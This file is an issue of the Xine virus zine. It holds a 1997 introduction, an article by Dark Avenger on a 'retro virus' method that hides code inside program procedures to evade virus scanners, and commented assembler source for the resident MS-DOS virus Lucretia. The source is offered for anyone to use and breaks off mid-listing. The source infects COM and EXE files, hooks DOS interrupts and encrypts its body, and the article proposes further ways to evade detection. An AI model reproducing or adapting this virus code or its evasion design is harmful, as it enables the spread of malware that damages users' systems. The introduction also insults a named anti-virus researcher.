/-----------------------------\ | Xine - issue #3 - Phile 104 | \-----------------------------/ Hello there, whoever you are. Int13h asked me to write sort of a history of the article and code that follows. So here goes. I wrote the stuff about three and a half years ago, and meant to publish it in the then-existing virus magazine `40hex' under a fake handle (is there ever such a thing as a "fake" handle?). However, a certain person convinced me not to do that, because it would be a "bad" thing to do. I believed that, and I did not publish the article or the source. Later though, I came to remember the simple truth that "bad" and "good" can have any meaning only related to specific persons or subjects. So what was "bad" for someone could be "good" for someone else, and vice versa. Those things that were supposed to be good turned out to be bad for me, while those supposed to be bad didn't make any difference. Also, and very much to my disappointment, I had to find out that nobody ever cared about what was bad or what was good for me, including the above mentioned person. Considering all that, i think it's pretty much OK for me to publish the stuff now, after it has been lying forgotten in a box along with some other things for so many months. I did, at the time, sent a copy of the code (in an executable file only, no source) to a certain -AV company so they could add detection of it in their scanner. They took the easy way out and added detection only in COM files, but not in EXE files, saying they would add the EXE file detection some time "later" (which, as far as I know, they never did). So, in case anyone cares to verify the age of the code, that could be done fairly easy now :-) Since the following article and code are not too small, I suppose some people would like to know what this is all about, before they waste their their time reading through it. Basically, it's one of those ideas that I've had for a long time. I never sat down to implement most of them, but this one i did in 1994, mostly becaise I had to try to do something to keep me sane at the time. So I just sat down and wrote it; i had the article completely finished by May. This is a resident MS-DOS virus (I called it Lucretia, after a song by that name from the group 'Sisters of Mercy' that I was listening to a lot while i was writing this code). It can infect COM and EXE files. It is not stealth, and not really polymorphic, either. It is also not very easy to get it to infect a file; it only infects files that it likes. There is something else interesting about it, though, and that is the way it inserts its code into victims. A side effect of that is that certain virus scanners might have some trouble detecting it. The article discusses this approach at length (sort of). Now that I look back at it, I've got to admit that the stuff is pretty lame. I am also aware of the fact that other people have done similar things independently of me in the past few years. Nevertheless, I think this code might still have some educational, entertainment, or whatever value. So, for all it's worth, here it is, in its almost unmodified original form. Oh yeh, i also have to say this.... a big "FuCK YoU" goes to my greatest admirer Vaseline Bontchev (is he still alive?)... "your never gonna get it" (the rest of it, anyway) to Little Loc/Priest - or what ever his current handle is. "greetz" to Int13h (or he would have nagged me to death about it :)... kisses to the Girl in the Yellow Dress (she knows who she is). dav 24/12/97 ------------------------------------------------------------------------------- A new way to defeat virus scanners by Dark Avenger In this article we will try to present a new approach for defeating virus scanners, and a sample virus that implements it. Since there have been anti virus programs around for quite some time now, many virus programmers are inclined to design their viruses in a way to make them if not undetectable, then at least less detectable by these programs. The most popular anti virus programs on the market today are the so called virus scanners. Part of the reason why is that they are easy to maintain by users, and easy to program by the people who make them, and another part of it is because it just so happened. So, naturally, many virus programmers have been looking for ways to defeat virus scanners, and quite a lot of efforts have gone into that. Lets take a look at some such ways that are currently known. First, stealth viruses. These are resident viruses that are able to disinfect files "on the fly" and therefore hide themselves from a virus scanner, or from an integrity checker. However, this doesn't work if the virus is not currently resident. It also has a drawback in that in many cases it makes it easily possible for a user to disinfect infected files without using any special software (of course this fact isn't advertised by the anti virus people for obvious reasons). The first known stealth virus was Pakistani Brain. Second, some viruses can infect targets that are not (or were not at the time) usually scanned by virus scanners, such as, say, device drivers, OBJ or DLL files, or text files. Third, there exist polymorphic viruses. There have been many viruses of this type, and there has been quite a lot of progress in developing them. Polymorphic techniques have evolved from simple viruses such as Cascade and Phoenix-2000, through advanced viruses such as the V2P* family, to complex polymorphic engines like MtE/TPE/DAME. Polymorphism is in fact the ultimate solution to the virus scanning problem, if designed and applied correctly. But there is a big problem with it, and that is that there are some difficulties with designing and applying it correctly, and nobody has succeeded to do this completely so far. That's why it is meanwhile useful to look for other possible approaches. It this article we will present one such approach. This approach is not a replacement to polymorphism, and as a matter of fact works even better when combined with it. Lets begin with examining what a virus scanner exactly does. When started (after the user has presumably cold booted from a clean write protected system diskette), a virus scanner examines the whole file system (or any user specified files, disks, etc.) for known viruses. This is achieved by reading the specified files and system areas and searching for patterns known to belong to existing viruses. Typically, only executable files would be scanned, but many virus scanners have an option to scan all files. At first, virus scanners used to read a whole file and search it for patterns (scan strings). But nowadays this is no longer the case. A typical virus scanner on the market today would only read in the header (beginning) of the file, and if nothing that could possibly indicate an infection was found there, wouldn't bother to examine the rest of the contents of the file. In some cases a scanner would "trace" file's entry point and do a second check there, or perhaps also examine the end of the file, but it would never read the whole executable unless something special has been found by the initial checks. Why this is done so, is that reading and scanning whole files would be quite slow, especially considering the lousy search algorithms usually employed by these scanners. There have been a significant increase of external storage used in personal computers recently, while decrease of access time and increase of CPU speed have not been that great. Thus it is not untypical today for a user to have a few gigabytes of data stored on their fixed disks, of which some 10% or more might as well be executables. Reading and searching through such a vast amount of data could force the user with an uncomfortably long wait. Not many users would be inclined to use a virus scanner too often under these circumstances, or at least, not this particular scanner. On the other hand, most (if not all) currently known viruses need to modify file's header in a certain way, in order to infect it successfully. This is what makes it sufficient for a smart virus scanner to only read the header in order to be able to determine if a file has not been infected by a known virus. From what was said so far, it becomes clearly obvious that a virus which does infect a file without modifying its header (or code at the entry point) would be therefore undetectable by these scanners. The only question left is how to implement it. And this is exactly what this article is all about. At first glance it might appear that it would be difficult, or nearly impossible, to create a virus that could successfully infect files without modifying their headers. A typical virus would insert its code at the executable file's entry point, thus gaining control before the infected program was started, and therefore being able to restore the state of the computer to whatever is needed for the program to execute correctly. If virus code was inserted at a random place inside a program, the result would most likely be both the target program and the virus failing to execute correctly, thus alarming the user about a possible problem, and at the same time the virus failing to spread further. Definitely not a good thing. However there are ways to solve this problem. To understand our approach, lets take a closer look at the structure of a typical executable file. An executable usually consists of (optional) header and code image. The header contains information as to how to load the code image, including a relocation table to allow for loading the code at any given memory address, while the code image contains instructions of the program as well as any pre-defined data (constants). Our task is to locate a portion of the user program code where virus code could be safely inserted without interfering with the correct execution of the user program. Most MS DOS executables today have been compiled from high level language source code. There exist various high level languages, and various compilers generating native 80x86 code. However most of them have a feature that we can successfully exploit in order to easily locate the part of the code that we are looking for. This feature is called "stack frame". To make a long story short, a stack frame is something put on the stack in order to facilitate access to local variables and procedure arguments put on the stack within a procedure. More than that, nearly every procedure compiled by these compilers includes some code to install and remove its own stack frame. This code is also sometimes referred to as entry/exit code, as it is located at the beginning and the end of a procedure. For example, entry code for a Turbo Pascal procedure might look like this: PUSH BP MOV BP,SP SUB SP,20 and its exit code might look like this: MOV SP,BP POP BP RET 4 Now, the key issue here is not the stack frame or stack frame code, but it is the procedures themselves (called functions in C). A high level language procedure is some code that does some task. What is most important to us in this case is not what task it does, but the fact that typically a procedure has only one entry point, and its entry code (to set up stack frame) is located exactly at this entry point. We can easily locate this entry code, by searching for the appropriate instructions, and at the same time we can also locate the exit code, which marks the procedure's end. This allows us to safely insert our code inside a procedure. Execution of the user program would proceed normally as long as our program could restore the processor registers, the procedure's code that was overwritten, and pass control to it after it was done with whatever tasks it needed to perform. There is not much chance for a failure, since the procedure would not be entered but through its entry point in most cases. There are, however, some tricky issues which will be addressed later in this article. What was described above was the infection method #1 of the sample virus we are presenting here. There exist, however, an infection method #2. The second infection method is meant to address those executables that for some reason cannot be infected using the first infection method described above. Lets recall what our task was: to locate a portion of the user program code where virus code could be safely inserted without interfering with the correct execution of the user program. Since an examination of the user program code has failed to reveal any such portions, our only chance now would be to start the user program, and examine it as it runs, analysing its behaviour, more specifically the program flow that takes place. This way we would be able to determine if there are any locations inside the code image which behave like procedures, i.e. are always entered through a single entry point, or, if not always, at least the first time they are called, which is what we need for our particular purpose. The way this is done is by executing the program in a "single step" mode. This is a special processor mode that generates an interrupt after each instruction executed. It is often used by debuggers to single step through user code (hence the name "single step"). It is also used by some (anti) virus programs in order to trace interrupt handlers to their origin or for other similar purposes. What we use it for is to monitor the change of the instruction pointer (IP) while a program executes. At each step we check whether the current IP value is suitable for our purpose. A location would be ok to use, if it was far enough from the code entry point, and if the few subsequent locations, where the virus code would be inserted, had never been executed through yet. The second condition can be checked using a bit map to mark regions of code as they are being executed. It is also necessary to ensure that the target region has not been overwritten by the execution of the program so far, i.e. that it has not been used as data and written to. This can be done by extending the bit map to a "check sum map", and performing a check sum on the whole region. After the needed location has been found, we can infect the program, exit single step mode, and let the user program continue executing normally, in case it was invoked by the user. If this program was not invoked by the user, we could just terminate it at this point (not forgetting to restore all interrupt vectors). The current implementation infects a program only when it has been invoked by the user, and also the actual infection is performed after the user program has terminated, if the user program has not attempted to check its integrity. Also, infection method #2 is only applied to COM files, but there does not exist any reason why it could not be extended it to also handle EXE files. What was said so far outlines the basic principles of the approach presented here. A virus which follows this approach (i.e. employs any of the two infection methods described above) shall be called a retro virus of type one. Retro viruses of type two will be eventually presented in another article. Lets now see what possible problems arise with these two infection methods, and how can we solve them. First, the virus would need to restore the code which was overwritten in order for the user program to execute properly (unless of course we want to have written an overwriting virus). This could be done by storing a copy of the overwritten code at the end of program code image, and then simply moving it back at run time, just like ordinary viruses do. However since the virus has not received control immediately, the program could have (and in many cases would have) overwritten this area with data, stack, etc. Therefore a better solution would be to read this code from the executable file itself, like an overlay. In most cases this could be done easily under MS DOS version 3.0 or later, as the program file name is stored at the end of its environment, which would allow us to locate the program being executed. This would not normally present a problem unless the program had spawned other processes, or had overwritten its environment for some reason, or if the file is residing on a removable disk, and the user has already removed that disk. Second, when using the first infection method, we need to locate a large enough procedure to hold the whole virus body, which might be too big to fit inside any single procedure of most executables. This can be bypassed by only inserting an overlay loader, instead of inserting the whole virus body inside a procedure. The overlay loader could then load the rest of the needed code from the infected file. Third, going memory resident is a problem. At the time the virus receives control, there usually won't be any memory available, except possibly for UMB/HMA/EMS etc. A solution would be to terminate the user program, go resident, and re-execute the program, but that would only be good if the virus has received control before the infected program had in fact taken any action that could be noticed by the user, most importantly input from keyboard or output to screen. This would need to have been ensured at infection time. The solution presented here is different. The overlay loader, which was inserted into user program's code, moves itself to a well known free memory area at absolute address 0:540h, after which it loads the originally overwritten code from where it was stored at the end of infected file. A check is performed to find out if the virus is already resident, and if so, control is returned to the user program. Otherwise, program termination address in PSP is hooked to point to another part of the overlay loader and then control is returned to the user program as usual. When the program terminates, the overlay loader takes control for a second time. This time the loader allocates DOS memory, now freely available, and loads the whole virus body into it, which was also stored at the end of file. The virus code is also being decrypted at this point; encryption with a random key is necessary in order to ensure that the virus cannot be scanned for by simply scanning the last few bytes of a possibly infected file for some pattern. Another problem arises when infecting EXE files. These files, like it was already pointed out, have a relocation table to allow for loading their code at any given memory address. If there were relocation items present that pointed to the area which was selected for inserting the overlay loader, it would be necessary to delete those items from the relocation table and insert them into overlay loader's own relocation table. This table would have to be used by the loader to relocate the loaded user program code before passing control to it. This is the way it is handled by the sample virus included here, with the only difference being that these items aren't deleted from the table, but are instead pointed to a dummy word in the overlay loader. A possible enhancement would be to first look for procedures that don't have any relocation items pointing to them, in order to avoid unnecessarily modifying the EXE header relocation table. A general problem with infection method #1 is that the loader could be inserted into a procedure that will not always be executed, or even never executed. Moreover, the more procedures a program contains, the less chance that a randomly selected one would get called. An attempt to solve this problem could be to try to ensure that the procedure does get called at infection time. After finding all candidate procedures to be overwritten with the overlay loader, the program could be executed and a procedure that was actually called would be selected and the virus code inserted into it after program termination. This could be achieved by inserting a far CALL instruction at the beginning of each candidate procedure to the resident virus code, which would then note the procedure being called, restore the code overwritten by the CALL instruction and then pass control back to it. Of course, this method would not ensure that the selected procedure would always get called; it might or might not be called depending on command line parameters, user responses, etc. Also note that this assumes that infecting a program is performed at its invocation by the user; if it isn't, then the program's input and output need to be redirected to NUL while doing this. A simpler approach would be to insert the overlay loader into more than one procedure, hoping that at least one of them would get called. Note that this wouldn't cause some great increase in infected file size, since the encrypted virus body could be stored only once. The current implementation does not do any of this; it simply selects one procedure at random. There is a related problem with infection method #2, which was already mentioned. Since we are single stepping through the program, we need to ensure that no I/O takes place unless the program was actually invoked by the user. This is always the case in the sample virus presented here, as it only attempts to infect programs when they are being executed, so it needs not bother with this type of checks. However perhaps it is worth implementing a fast infector employing the infection methods described here. In this case performing these checks would become necessary. Another problem with the second infection method is its slowness. A program being single stepped through is also being slowed down quite dramatically. This is not a problem when an appropriate region is found quickly, and single step mode is exited from soon, however for some programs it takes longer, or even never, to find the needed place. For this reason our sample virus also monitors the system timer and if more than half a second has elapsed since execution start, exits single step mode without infecting the program. Another useful trick is to optimize REP string instructions. This is especially important since many C compilers have a start up code that overwrites the whole data segment with zeros, apparently in an attempt to initialize all static variables. This is usually done using a REP STOSW instruction. The code included here handles REP string instructions in non single step mode; whenever such an instruction is encountered, single step mode is exited, the string instruction is executed, and single step mode is re-entered, after the instruction has completed execution. One thing that the first infection method currently does not handle is 80186 instructions. Most compilers now have the ability to use these, and there are two of them that are particularly important to us for our purpose: ENTER and LEAVE. They are used to create and destroy procedures stack frame, so if an executable was compiled to run on a 80186 or compatible processor, its procedures would not be found. This does not present any kind of generic problem though; it is just a shortcoming of the current implementation. Finally, it should be said that not all programs infected by a retro virus would always run correctly. But then, this is true for any virus infected programs. In fact, in some cases a program that cannot be successfully infected by a conventional virus, or would be corrupted if it was, could be infected by a retro virus, and would still run correctly. This is the case for some overlay files. One major problem for retro viruses are compressed (by LZEXE etc.) executables. These files cannot be infected by neither of the two infection methods for obvious reasons. The only non-compressed code in such executables is usually scanned for viruses, since it is located at either the beginning or the end of code image, or both. Furthermore, many scanners now can expand compressed executables to perform an internal check. This means that even if a virus could somehow be inserted inside a compressed executable, it would (or might) be scanned for, unless the virus scanner only expands the header of a compressed executable. A possible solution to this problem would be to expand the executable, infect it, and leave it expanded. It should also be said that it is possible for a virus scanner to detect the sample virus included here. First of all, the obvious way to do it would be to read the whole executable file (F-Prot does so for COM files) and then search for some pattern that is found in the overlay loader. This would indeed slow down the scanner, but that would be only due to reading the file, not to searching for the pattern, since searching for a single scan string could be done fast enough compared to reading a file. An obvious improvement would be to encode the overlay loader using a good polymorphic engine; this could slow down the searching process significantly. That would be one step further in the direction of successfully escaping from virus scanners, and it could be easily implemented. Second, in case of the first infection method, the overlay loader is always placed at the beginning of a procedure. This means that in most cases (with the current implementation always) exit code of a previous procedure would immediately precede it. This should be corrected if a polymorphic engine is to be used with the overlay loader for obvious reasons; it can be done either by removing the restriction for the selected procedure to immediately follow the exit code of another procedure, or by skipping the first few instructions of the selected procedure, which can be done by single stepping through it at run time. The third, and perhaps the most difficult to solve problem is with the encrypted code stored at the end of file. Since the code is encrypted with a random key, it is not possible to determine (in real time) that what is stored at the end of file is actually the encrypted virus body. However a simple statistical analysis would reveal it as random data, which is not what most executables contain. Therefore a smart scanner could inspect the region where the encrypted virus body would supposedly be stored, and in case it looks random, proceed with reading the whole file and searching it for the overlay loader. More than that, this data is stored as an internal overlay (which it indeed is), in case of an infected EXE file, so the scanner could perform the above check only if the file contains an overlay. This way there won't be any slow down when scanning most executables, but the virus would still be found. A work around solution to this problem would be to extend the target file by a random number of bytes, after infecting it, so that it will not be known in which area the encrypted code is stored, and at the same time storing it as a part of the code image, rather than as an overlay. However this could lead to some undesired effects, such as users disk space filling up very quickly, some programs refusing to load because of not enough memory, etc. Another possible solution would be to make the encrypted code not look statistically random, and at the same time not showing any specific patterns in it, however this is not a trivial task, especially considering the memory requirements of the overlay loader, which has to be able to handle the decryption of this code. There are also other ways to extend the virus presented here. For example, conventional fast infection/stealth mechanisms could be added to improve performance; conventionally infected files could be converted to the new format whenever there is an occasion for that (i.e. whenever they are being executed by the user), if no integrity check attempts on them have been made meanwhile. Another easy improvement would be to enable infection of overlay files. All this is left as an exercise to the readers. Well, on a final note, most of what was said here was specific to MS DOS, but some of the concepts might work well with other operating systems. So if you happen to have access to any such, it is only up to you to continue this research in that different environment. So here it is, the Commented Source Code of this Virus... Share and Enjoy. --- Begin LUCRETIA.FEM -------------------------------------------------------- ; ; Lucretia -- a small virus. ; Written by Dark Avenger. ; version 0.01, 15/03/94 ; ; *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** ; ; This code might cause damage to your system if executed. It is provided as ; an education tool for information purposes only. The author disclaims any ; responsibility for any consequences of anyone else using this code. ; ; This code is hereby placed in the public domain. Feel free to study it, ; modify, copy, publish, share with friends, or anything. ; ; Compile with Turbo Assembler. Run under MS DOS 3.0 or later. ; ; *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** ; .model tiny tmp_area = 559h ;Temporary area to be used by tmp_area_len = 700h-tmp_area ; the overlay loader .code org 100h ; Dummy code, not part of the virus code_start: jmp short main_entry db 8,8,' ',26 fake_terminate: int 20h base dd 0 ;Random encryption seed ; Overlay loader; control arrives here from within an infected program main_entry: push cs test ax,0a9a9h ;Infection mark push sp call push_all mov al,7 int 29h ;Beep at loading in memory mov ah,62h int 21h xor ax,ax mov es,ax ; Prepare to copy loader to temporary area: if loader_1 already present there, ; only copy loader_0; otherwise copy both loader_0 and loader_1 mov di,tmp_area mov cx,offset tmp_len cmp es:[load_1_sign-base_addr+tmp_area],48b4h jne copy_loaders mov ax,load_1_end-load_0_end mov cx,load_0_end-base_addr copy_loaders: pushf push bx push es mov si,load_0-base_addr+tmp_area push si push cs pop ds call base_addr base_addr: pop si push si rep movsb ;Copy the loader(s) add si,ax add di,ax load_0_rel_0 label word mov cx,0 rep movsb ;Copy the relocation info pop si retf load_fail: ;Terminate program in case of mov ah,4ch ; loader failure int 21h ; loader_0: control arrives here after the code was moved to temporary area load_0: sub si,base_addr-main_entry mov [bp+16h],si lea bp,[bx+10h] mov es,bx xor di,di mov es,es:[di+2ch] dec cx mov ax,3d00h load_0_scan_env: ;Find program name stored after repnz scasb ; environment scasb jne load_0_scan_env scasw push ds push es pop ds mov dx,di int 21h ;Open pop ds jc load_fail xchg bx,ax load_0_pos_hi label word mov cx,0 load_0_pos_lo label word mov dx,fake_terminate-code_start mov ax,4200h ;Seek to and read code int 21h ; overwritten by the loader mov dx,si load_0_read label word mov cx,2 mov ah,3fh int 21h load_0_check label word ;Check if read was successful cmp [si],20cdh ; by comparing the first word jnz load_fail ; read to the expected value push di mov si,load_1_end-base_addr+tmp_area load_0_rel_1 label word mov cx,0 jcxz load_relo_done load_relo: ;Relocate the just loaded code lods word ptr cs:[si] add ax,dx xchg di,ax add ds:[di],bp dec cx loop load_relo load_relo_done: stc mov ax,3e4ch ;Close the file (also check if int 21h ; already resident) pop ax pop ds jc load_0_go ;Exit if already resident popf je pop_all_ret ;Exit if loader_1 present ; Save file name pointer to be used by loader_1 mov cs:[load_1_name_ofs+1-base_addr+tmp_area],ax mov cs:[load_1_name_seg+1-base_addr+tmp_area],es ; Intercept program terminate address to point to loader_1 and save the old ; value inside loader_1 mov ax,load_1-base_addr+tmp_area xchg ax,ds:[10] mov cs:[load_1_chain-base_addr+tmp_area],ax mov ax,cs xchg ax,ds:[12] mov cs:[load_1_chain+2-base_addr+tmp_area],ax pushf load_0_go: popf pop_all_ret: call pop_all retf ;Return to user program pop_all: mov bp,sp pop [bp+16h] pop cx pop si pop di pop bp pop dx pop ds pop bx pop es pop ax popf ret load_0_end: ; loader_1: control arrives here (in temporary area) if the virus is to go ; resident after the user program terminates load_1: call push_all load_1_name_seg label word mov ax,0 mov ds,ax load_1_name_ofs label word mov dx,0 mov ax,3d00h ;Open the infected file int 21h jc load_1_fail push ax mov bx,(code_end-base+15)/16 load_1_sign label word mov ah,48h ;Allocate DOS memory for the int 21h ; resident code pop bx jc load_1_fail dec ax mov ds,ax xor di,di ;Mark the newly allocated MCB mov word ptr [di+1],8 ; as "system" inc ax mov ds,ax load_1_pos_hi label word mov cx,0 load_1_pos_lo label word mov dx,base-code_start mov ax,4200h ;Seek to and load encrypted int 21h ; virus body in memory just mov cx,offset ovl_len ; allocated mov ah,3fh cwd int 21h mov ax,[di] load_1_check label word ;Check if read was successful cmp ax,0 ; by comparing the first word jnz load_1_fail ; read to the expected value push bx mov ax,resident_entry-base push ds push ax push cs pop es mov si,rand_key-base_addr+tmp_area crypt_code: mov bx,[di] scasw mov bp,[di] mov ax,bx or ax,bp jz simple_crypt_3 ;No encryption if seed zero mov cx,ovl_len/4-1 simple_crypt: scasw simple_crypt_0: push si push cx mov cx,15 simple_crypt_1: ;En/Decrypt virus code using a lods word ptr es:[si] ; simple encryption scheme mul bp sub ax,dx jnz simple_crypt_2 sub ax,bp jnz simple_crypt_2 sub ax,es:[si-2] stc simple_crypt_2: adc bx,ax ror bx,cl xchg bx,bp loop simple_crypt_1 pop cx pop si xor [di],bx scasw xor [di],bp loop simple_crypt simple_crypt_3: retf ;Jump to code just decrypted ; Erase loader_1 mark in memory in case of loader failure load_1_fail: mov cs:[load_1_sign-base_addr+tmp_area],ax ; Control arrives here after the virus has installed itself memory resident, or ; has failed to do so; transfer control back to parent process in both cases load_1_go: call pop_all db 0eah load_1_chain dw 0,0 ; Random encryption key rand_key db '( this space is not for rent )' push_all: pushf push ax push es push bx push ds push dx push bp push di push si push cx mov bp,sp cld jmp [bp+14h] load_1_end: loader_len = $-main_entry tmp_len = $-base_addr ; This is the beginning of decrypted code; control arrives here when the loaded ; and decrypted code needs to go memory resident resident_entry: pop bx mov ah,3eh int 21h ;Close open file ; Save old INT 21 vector and point it to our handler mov ax,3521h int 21h mov ds:[dos_chain-base],bx mov ds:[dos_chain+2-base],es mov dx,dos_entry-base mov ax,2521h int 21h db 0eah ;Exit to parent process dw load_1_go-base_addr+tmp_area,0 ; Control arrives here when DOS function "OPEN" called (check for self-opening) open_entry: call push_all cmp ah,6ch je open_1 mov si,dx open_1: mov ah,62h call dos mov es,bx mov es,es:[53h] ;Check if open is being called xor bx,es:[psp_seg] ; by a program that is to be jne open_done ; infected, exit if negative mov di,offset open_name mov ah,60h ;Resolve file name being opened call dos push es pop ds mov si,offset exec_name mov cx,80 xchg ax,bx ;Check if name of file being repz cmpsb ; opened matches the name of je open_2 ; the program to be infected cmp cx,79 je open_done dec di dec di scasb jne open_done ;Exit if negative open_2: cwd call set_inject_pos ;Disable infection if positive open_done: call pop_all jmp short dos_go ; Control arrives here when DOS function "CLOSE" called (installation check) close_entry: push bp mov bp,sp ;Check if being called by the cmp word ptr [bp+4],0 ; overlay loader pop bp jne dos_go ;Exit if negative call dos iret ;Don't clear carry if positive ; INT 21 handler; control arrives here whenever a DOS function is being called dos_entry: cmp ah,3dh ;Handle open je open_entry cmp ax,3e4ch ;Handle close je close_entry cmp ax,4b00h ;Handle exec je exec_entry cmp ax,6c00h ;Handle extended open (DOS 4.0) je open_entry dos_go: db 0eah dos_chain dw 0,0 ; Control arrives here when DOS function "EXEC" called exec_entry: push bx mov bx,(stack_top+15)/16 ;Allocate work segment mov ah,48h call dos pop bx jc exec_go push ds mov ds,ax mov ds:[save_sp],sp mov ds:[save_ss],ss pop ds mov ss,ax ;Set up own stack in work mov sp,offset stack_top ; segment call push_all call exec_load ;Do it to him mov bp,sp pushf pop [bp+12h] call pop_all push es push ss pop es mov ah,49h ;Free work segment call dos_f pop ax mov ss,es:[save_ss] ;Restore old stack mov sp,es:[save_sp] mov es,ax pop ax exec_go: mov ax,4b00h ;Pass control to DOS exec if jc dos_go ; carry set, otherwise all done retf 2 ; so exit to caller ; Read file header into work segment read_exe_header: mov ax,3d00h call dos ;Open jc read_exe_fail xchg bx,ax mov dx,offset exe_header mov cl,40h mov ah,3fh ;Read first 64 bytes call read jc close_f call seek_eof ;Get file size mov ds:[file_size],ax mov ds:[file_size+2],dx cmp ax,1000h sbb dx,cx jb close_f ;Exit if < 4096 bytes long xchg dx,ax mov ax,ds:[exe_header] ;Determine if EXE or COM cmp ax,5a4dh je read_exe_exe cmp ax,4d5ah je read_exe_exe ; Don't infect COM files that are too big cmp dx,-loader_len-ovl_len-101h read_exe_bad: cmc jmp short close_f read_exe_exe: mov ax,ds:[exe_header+6] add ax,3 rcr ax,1 shr ax,1 add ax,(stack_top+15)/16 cmp ax,1000h ;Exit if EXE relocation table jae read_exe_bad ; too big push bx xchg bx,ax mov ah,4ah ;Expand work segment to make call dos ; space for loading the pop bx ; relocation table jc close_f call seek_rel ;Seek to and read the whole call calc_rel_size ; relocation table mov ah,3fh call read jc close_f mov cx,1 ;Do not infect high load files cmp ds:[exe_header+0ch],cx ;(unable to relocate correctly) close_f: mov ah,3eh dos_f: pushf call dos popf read_exe_fail: ret calc_rel_size: mov cx,ds:[exe_header+6] shl cx,1 shl cx,1 mov dx,offset relo_table ret ; Control arrives here on every EXEC call; this is the main procedure handling ; infection of files exec_load: sti lds si,[bp+12] push ss pop es mov di,offset exec_pb push di mov cx,7 ;Copy the EXEC parameter block rep movsw lds si,[bp+8] mov di,offset exec_name mov dx,di push dx mov ah,60h ;Resolve and copy the file name call dos push ss pop ds call read_exe_header pop dx pop bx ;Exit if error reading header jc read_exe_fail ; or unable to infect this file mov ds:[exe_flag],cl mov ax,4b01h pushf push cs call dos_go ;Load but do not execute jc read_exe_fail mov ah,62h call dos mov ds,bx mov dx,terminate_entry-base mov ds:[10],dx ;Adjust terminate address mov ds:[12],cs mov ds:[53h],ss ;Save pointer to work segment push cs ; into user program PSP pop ds mov ax,2522h ;Adjust DOS terminate address call dos push ss pop ds xchg ax,bx ;Init internal variables mov ds:[psp_seg],ax xchg di,ax call zero_trap xchg ax,bx cwd call set_inject_pos mov ds:[relo_len],ax xchg bx,ax mov ax,es:[46ch] ;Init random seed using value mov ds:[rand_seed],ax ; obtained from system timer in al,[40h] mov ah,al in al,[40h] mov ds:[rand_seed+2],ax and al,7 inc ax mov word ptr ds:[trap_count],ax push di call analyse_exe ;Analyse for infection type #1 pop di push ss pop ds mov bx,200h jnc exec_load_go ;Exit if successful cmp ds:[exe_flag],bl jne exec_load_go ;Exit if EXE file call trap_setup ;Analyse for infection type #2 push ss pop ds exec_load_go: mov ss,ds:[exec_pb+10h] ;Switch to user stack mov sp,ds:[exec_pb+0eh] pop ax ;Load user AX value push bx push ds:[exec_pb+14h] ;User program entry push ds:[exec_pb+12h] mov ds,ds:[psp_seg] ;Load PSP into DS, ES push ds pop es iret ;Start up user program ; Overwrite a relocation table item with a pointer to dummy word in the overlay ; loader remove_callback: mov ax,load_1_chain+2-main_entry add ax,di mov [si-4],ax mov ax,dx push cx mov cl,12 shl ax,cl pop cx mov [si-2],ax ret ; Control arrives here after searching the user program code image has ; completed; analyse results of the search search_done: push ss pop ds mov al,byte ptr ds:[load_len+1] xor ah,ah cmp ds:[proc_count],ax ;Don't infect if not enough jb search_fail ; procedures were found xchg ax,bx stc mov bp,ds:[best_proc_len] inc bp jz search_fail ;No match dec bp les di,dword ptr ds:[best_proc_pos] mov dx,es cmp ds:[exe_flag],al je search_done_calc mov ax,remove_callback-base ;Remove relocation items from call process_header ; an EXE file mov ax,ds:[exe_header+8] search_done_calc: mov si,dx ;Adjust procedure position with mov dx,16 ; header length to obtain file mul dx ; position add ax,di adc dx,si set_inject_pos: mov ds:[inject_pos],ax mov ds:[inject_pos+2],dx search_fail: ret ; Analyse a file to determine if infection method #1 would be successful, and ; select a code region if positive analyse_exe: mov ax,ds:[file_size] ;Calculate code image length mov cl,4 shr ax,cl cmp ds:[exe_flag],dl je calc_load_len les ax,dword ptr ds:[exe_header+4] mov cx,es ;Do not infect if no relocation jcxz search_fail ; items (handle EXEPACK, etc.) dec ax mov cl,5 shl ax,cl calc_load_len: sub ax,100h ;Reduce by 4096 bytes jc search_fail mov ds:[load_len],ax push ds pop es xchg bx,ax mov ds:[proc_count],ax dec ax mov ds:[best_proc_len],ax add di,90h ;Start searching at PSP+90:0 search_1: ; (exclude first 2048 bytes) or bx,bx jz search_done ;End search if length zero mov ds,di xor si,si mov ss:[trap_last],si mov ax,bx cmp ax,0fffh jbe search_2 mov ax,0fffh search_2: add di,ax sub bx,ax mov cl,4 shl ax,cl xchg cx,ax search_3: cmp cx,15 ;Proceed to next segment if jb search_1 ; less than 15 bytes left xor dx,dx mov bp,si dec cx lodsb cmp al,0a9h ;Check for infection mark, exit jne search_4 ; if found cmp [si],0a9a9h je search_fail ; Check for procedure exit code search_4: mov ah,[si] cmp ax,0e58bh ;Check for MOV SP,BP je search_6 cmp ax,0ec89h je search_6 cmp ax,0c483h ;Check for ADD SP,immediate je search_5 cmp ax,0c481h jne search_9 dec cx inc si search_5: dec cx inc si search_6: dec cx inc si cmp byte ptr [si],5dh ;Check for POP BP jne search_3 dec cx inc si mov al,[si] and al,0f7h cmp al,0c3h ;Check for RET[F] je search_7 xor al,0c2h ;Check for RET[F] immediate jne search_13 cmp [si+2],al jne search_13 dec cx dec cx lodsw search_7: dec cx inc si dec cx lodsb cmp al,90h ;Check for an optional NOP jne search_8 ; (word alignment of code) dec cx lodsb search_8: lea bp,[si-1] inc dx ; Check for procedure entry code search_9: cmp al,55h ;Check for PUSH BP jne search_12 cmp [si],0ec83h ;Check for SUB SP,immediate je search_10 cmp [si],0ec81h jne search_11 dec cx inc si search_10: dec cx inc si dec cx dec cx lodsw search_11: cmp [si],0ec8bh ;Check for MOV BP,SP je search_15 cmp [si],0e589h je search_15 search_12: dec dx jnz search_3 search_13: mov ss:[trap_last],dx ;No current procedure found search_14: jmp search_3 search_15: dec cx dec cx lodsw or dx,dx jz search_13 ; Control arrives here if a procedure end has been found push di push si push cx push bx push ds push ss pop ds mov di,bp xchg ds:[trap_last],di or di,di jz search_16 ;No procedure entry sub bp,di cmp bp,1000h ;Discard procedures longer than jae search_16 ; 4096 bytes inc ds:[proc_count] cmp bp,ds:[best_proc_len] ;Ignore if longer than best ja search_16 ; match pop ax push ax push di sub ax,ds:[psp_seg] mov dx,16 sub ax,dx mul dx add di,ax ;DX:DI = Procedure position adc dl,dh mov ax,search_fail-base ;Dummy callback call process_header pop si add bx,loader_len cmp bp,bx ;Not enough room for overlay jb search_16 ; loader cmp ds:[best_proc_len],-1 rol ds:[trap_count+1],1 ;Random number here ja search_16 mov ds:[best_proc_len],bp ;Save best match mov ds:[best_proc_pos],di mov 